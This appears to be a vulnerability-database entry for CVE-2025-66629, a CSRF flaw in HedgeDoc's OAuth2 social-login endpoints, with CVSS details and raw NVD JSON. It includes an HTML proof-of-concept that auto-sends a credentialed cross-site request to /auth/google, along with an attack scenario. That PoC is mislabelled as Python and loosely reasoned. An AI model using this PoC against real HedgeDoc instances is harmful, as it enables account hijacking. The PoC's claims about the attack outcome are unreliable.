Security Vulnerability Report
中文
CVE-2025-66629 CVSS 3.7 LOW

CVE-2025-66629

Published: 2025-12-05 23:15:48
Last Modified: 2025-12-09 16:37:39

Description

HedgeDoc is an open source, real-time, collaborative, markdown notes application. Prior to 1.10.4, some of HedgeDoc's OAuth2 endpoints for social login providers such as Google, GitHub, GitLab, Facebook or Dropbox lack CSRF protection, since they don't send a state parameter and verify the response using this parameter. This vulnerability is fixed in 1.10.4.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hedgedoc:hedgedoc:*:*:*:*:*:*:*:* - VULNERABLE
HedgeDoc < 1.10.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-66629 - HedgeDoc OAuth2 CSRF --> <!-- This PoC demonstrates the CSRF attack on HedgeDoc OAuth2 endpoints --> <!DOCTYPE html> <html> <head> <title>HedgeDoc OAuth2 CSRF PoC</title> </head> <body> <h1>HedgeDoc OAuth2 CSRF Attack PoC</h1> <p>Clicking the button below will trigger a CSRF attack against HedgeDoc OAuth2 endpoints.</p> <!-- CSRF payload for Google OAuth2 binding --> <form id="csrfForm" action="https://your-hedgedoc-instance/auth/google" method="GET"> <!-- No state parameter - this is the vulnerability --> <input type="hidden" name="redirect" value="/features"> <button type="submit" id="attackBtn">Click Me</button> </form> <!-- Auto-submit script --> <script> // Auto-submit after page load (for demonstration) // document.getElementById('csrfForm').submit(); // Alternative: Stealth auto-submit using fetch fetch('https://your-hedgedoc-instance/auth/google', { method: 'GET', mode: 'no-cors', credentials: 'include' }).then(() => { console.log('CSRF request sent'); }); </script> <p><strong>Note:</strong> This PoC requires the victim to be logged into HedgeDoc. The attacker would receive the OAuth callback at their controlled endpoint.</p> </body> </html> <!-- Attack scenario: --> <!-- 1. Attacker creates a malicious page with the above PoC --> <!-- 2. Attacker tricks a logged-in HedgeDoc user into visiting the page --> <!-- 3. The page auto-submits a request to /auth/google without state parameter --> <!-- 4. If user has authorized Google OAuth before, the binding completes --> <!-- 5. Attacker can now access victim's HedgeDoc account via Google login -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66629", "sourceIdentifier": "[email protected]", "published": "2025-12-05T23:15:47.620", "lastModified": "2025-12-09T16:37:38.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HedgeDoc is an open source, real-time, collaborative, markdown notes application. Prior to 1.10.4, some of HedgeDoc's OAuth2 endpoints for social login providers such as Google, GitHub, GitLab, Facebook or Dropbox lack CSRF protection, since they don't send a state parameter and verify the response using this parameter. This vulnerability is fixed in 1.10.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hedgedoc:hedgedoc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.10.4", "matchCriteriaId": "F242D1E4-BCD1-4113-8A49-7F56CFD64D30"}]}]}], "references": [{"url": "https://github.com/hedgedoc/hedgedoc/commit/35f36fccba941ed8029ee222f7d2a5df17b42e2b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/hedgedoc/hedgedoc/security/advisories/GHSA-6wm6-3vpq-6qvv", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}